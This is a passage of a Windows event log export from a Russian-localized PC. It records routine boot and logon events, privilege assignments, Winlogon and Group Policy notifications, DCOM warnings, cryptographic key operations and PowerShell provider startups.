Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.359\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.378\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -s CertPropSvc( #0x0/0x8392 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:01.379\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -s CertPropSvc( #0x0/0x8392 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:01.379\t6000\tThe winlogon notification subscriber  was unavailable to handle a notification event.\tInformation\tApplication\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.381\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -s CertPropSvc( #0x0/0x8392 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:01.394\t221\tANALYZE command has run; database statistics are updated [Partition=1, ProcessId=3720, Scope=(database)]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:29:01.396\t811\tThe winlogon notification subscriber  began handling the notification event (12).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.396\t5324\tGroup Policy received the notification StartShell from Winlogon for session 1.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:29:01.397\t6339\tGroup Policy Winlogon Start Shell handling completed.\tInformation\tMicrosoft-Windows-GroupPolicy/Operational\tMicrosoft-Windows-GroupPolicy\n05.09.2026 08:29:01.397\t812\tThe winlogon notification subscriber  finished handling the notification event (12).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.397\t811\tThe winlogon notification subscriber  began handling the notification event (12).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.398\t812\tThe winlogon notification subscriber  finished handling the notification event (12).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.398\t811\tThe winlogon notification subscriber  began handling the notification event (12).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.399\t22\t\"Remote Desktop Services: Shell start notification received:\n\nUser: HONOR-FRG-X\\admin\nSession ID: 1\nSource Network Address: \u041b\u041e\u041a\u0410\u041b\u042c\u041d\u042b\u0415\"\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:29:01.399\t812\tThe winlogon notification subscriber  finished handling the notification event (12).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:29:01.407\t263\tWDDM graphics mode is enabled\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.407\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.407\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.409\t50\tThe service has been started to the following state: Shutdown.\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:29:01.418\t1136\tRD Session Host Server role is not installed.\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.419\t263\tWDDM graphics mode is enabled\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.425\t4000\t\"WLAN AutoConfig service has successfully started.\n\"\tInformation\tSystem\tMicrosoft-Windows-WLAN-AutoConfig\n05.09.2026 08:29:01.427\t263\tWDDM graphics mode is enabled\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.428\t221\tANALYZE command has run; database statistics are updated [Partition=2, ProcessId=3720, Scope=(database)]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:29:01.430\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:29:01.431\t400\tDeployment DeStage operation with target volume C: on Package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:01.434\t1009\t\"CDE reported an L2 adapter arrival \n\n Interface: {449f824d-2856-4717-a3a7-cf59faac817a} \n\n Type: Wlan\"\tInformation\tMicrosoft-Windows-Wcmsvc/Operational\tMicrosoft-Windows-Wcmsvc\n05.09.2026 08:29:01.434\t263\tWDDM graphics mode is enabled\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.438\t1015\t\"Interface Token Applied\n\nInterface: {449f824d-2856-4717-a3a7-cf59faac817a}\nMedia Type: Wlan\nManual enabled: true\nAuto enabled: true\"\tInformation\tMicrosoft-Windows-Wcmsvc/Operational\tMicrosoft-Windows-Wcmsvc\n05.09.2026 08:29:01.441\t20524\tSupplemental Kerberos credentials are not configured\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.444\t263\tWDDM graphics mode is enabled\tInformation\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager/Operational\tMicrosoft-Windows-TerminalServices-RemoteConnectionManager\n05.09.2026 08:29:01.444\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:29:01.444\t18\tThis event triggers the Trusted Platform Module (TPM) provisioning/status check to run.\tInformation\tSystem\tTPM\n05.09.2026 08:29:01.492\t40961\tPowerShell console is starting up\tInformation\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:29:01.504\t1006\t\"A Terminal Services session change was processed. \n\n Reason: A user has logged on to the session\"\tInformation\tMicrosoft-Windows-Wcmsvc/Operational\tMicrosoft-Windows-Wcmsvc\n05.09.2026 08:29:01.521\t2100\t\"Ctap command started.\n\nTransactionId: {ec5295cc-66be-4c4e-b2bb-2a8769b4eb95}\nFlags: 0x0\nTimeoutMilliseconds: 0\nTicket: \nRequest: 0xA967636F6D6D616E640B65666C616773006774696D656F7574006D7472616E73616374696F6E496450CC9552ECBE664E4CB2BB2A8769B4EB957566696C7465724879627269645472616E73706F7274F4782061757468656E74696361746F72496E666F4C6F676F526571756573745479706500781F706C7567696E4175746F66696C6C5363656E6172696F537570706F72746564F46F75765472616E73616374696F6E4964500000000000000000000000000000000071746869726450617274795061796D656E74F4\"\tInformation\tMicrosoft-Windows-WebAuthN/Operational\tMicrosoft-Windows-WebAuthN\n05.09.2026 08:29:01.529\t10001\t\"WLAN Extensibility Module has successfully started.\n\nModule Path: C:\\WINDOWS\\system32\\IntelIHVRouter14.dll\n\"\tInformation\tSystem\tMicrosoft-Windows-WLAN-AutoConfig\n05.09.2026 08:29:01.546\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.546\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.650\t900\t\"The Software Protection service is starting.\nParameters:TriggerStarted:6\"\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:29:01.656\t5\tSecure Trustlet NULL Id 0 and Pid 0 started with status STATUS_SUCCESS.\tInformation\tSystem\tMicrosoft-Windows-IsolatedUserMode\n05.09.2026 08:29:01.657\t1\tSecure Trustlet \\??\\C:\\WINDOWS\\System32\\NgcIso.exe Id 6 and Pid 9244 started with status STATUS_SUCCESS.\tInformation\tSystem\tMicrosoft-Windows-IsolatedUserMode\n05.09.2026 08:29:01.672\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.672\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.676\t53504\tWindows PowerShell has started an IPC listening thread on process: 8404 in AppDomain: DefaultAppDomain.\tInformation\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:29:01.698\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.698\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.744\t10016\t\"The \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f permission settings do not grant \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0410\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u044f permission for the COM Server application with CLSID \n{00000000-0000-0000-0000-000000000000}\n and APPID \n{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}\n to the user NT AUTHORITY\\LOCAL SERVICE SID (S-1-5-19) from address LocalHost (\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c LRPC) running in the application container \u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e SID (\u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e). This security permission can be modified using the Component Services administrative tool.\"\tWarning\tSystem\tMicrosoft-Windows-DistributedCOM\n05.09.2026 08:29:01.750\t5058\t\"Key file operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nProcess Information:\n\tProcess ID:\t\t8744\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:01.404919900Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tUNKNOWN\n\tKey Name:\tMicrosoft Connected Devices Platform device certificate\n\tKey Type:\tUser key.\n\nKey File Operation Information:\n\tFile Path:\tC:\\Users\\admin\\AppData\\Roaming\\Microsoft\\Crypto\\Keys\\de7cf8a7901d2ad13e5c67c29e5d1662_aae0f96c-9dfa-4728-bee3-a8368e406b6b\n\tOperation:\tRead persisted key from file.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.750\t10016\t\"The \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f permission settings do not grant \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0410\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u044f permission for the COM Server application with CLSID \n{00000000-0000-0000-0000-000000000000}\n and APPID \n{4839DDB7-58C2-48F5-8283-E1D1807D0D7D}\n to the user NT AUTHORITY\\LOCAL SERVICE SID (S-1-5-19) from address LocalHost (\u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c LRPC) running in the application container \u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e SID (\u041d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e). This security permission can be modified using the Component Services administrative tool.\"\tWarning\tSystem\tMicrosoft-Windows-DistributedCOM\n05.09.2026 08:29:01.758\t5061\t\"Cryptographic operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tMicrosoft Connected Devices Platform device certificate\n\tKey Type:\tUser key.\n\nCryptographic Operation:\n\tOperation:\tOpen Key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.759\t5059\t\"Key migration operation.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nProcess Information:\n\tProcess ID:\t\t8744\n\tProcess Creation Time:\t\u200e2026\u200e-\u200e09\u200e-\u200e05T01:29:01.404919900Z\n\nCryptographic Parameters:\n\tProvider Name:\tMicrosoft Software Key Storage Provider\n\tAlgorithm Name:\tECDSA_P256\n\tKey Name:\tMicrosoft Connected Devices Platform device certificate\n\tKey Type:\tUser key.\n\nAdditional Information:\n\tOperation:\tExport of persistent cryptographic key.\n\tReturn Code:\t0x0\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:01.788\t16394\tOffline downlevel migration succeeded.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:29:01.794\t600\t\"Provider \"\"Registry\"\" is Started. \n\nDetails: \n\tProviderName=Registry\n\tNewProviderState=Started\n\n\tSequenceNumber=1\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=9f70008a-1e45-4e30-868f-4606c891c66e\n\tHostApplication=C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass New-EventLog -Source RtkAudUService -LogName Realtek\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:29:01.796\t600\t\"Provider \"\"Alias\"\" is Started. \n\nDetails: \n\tProviderName=Alias\n\tNewProviderState=Started\n\n\tSequenceNumber=3\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=9f70008a-1e45-4e30-868f-4606c891c66e\n\tHostApplication=C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass New-EventLog -Source RtkAudUService -LogName Realtek\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:29:01.796\t600\t\"Provider \"\"Environment\"\" is Started. \n\nDetails: \n\tProviderName=Environment\n\tNewProviderState=Started\n\n\tSequenceNumber=5\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=9f70008a-1e45-4e30-868f-4606c891c66e\n\tHostApplication=C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass New-EventLog -Source RtkAudUService -LogName Realtek\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:29:01.797\t600\t\"Provider \"\"FileSystem\"\" is Started. \n\nDetails: 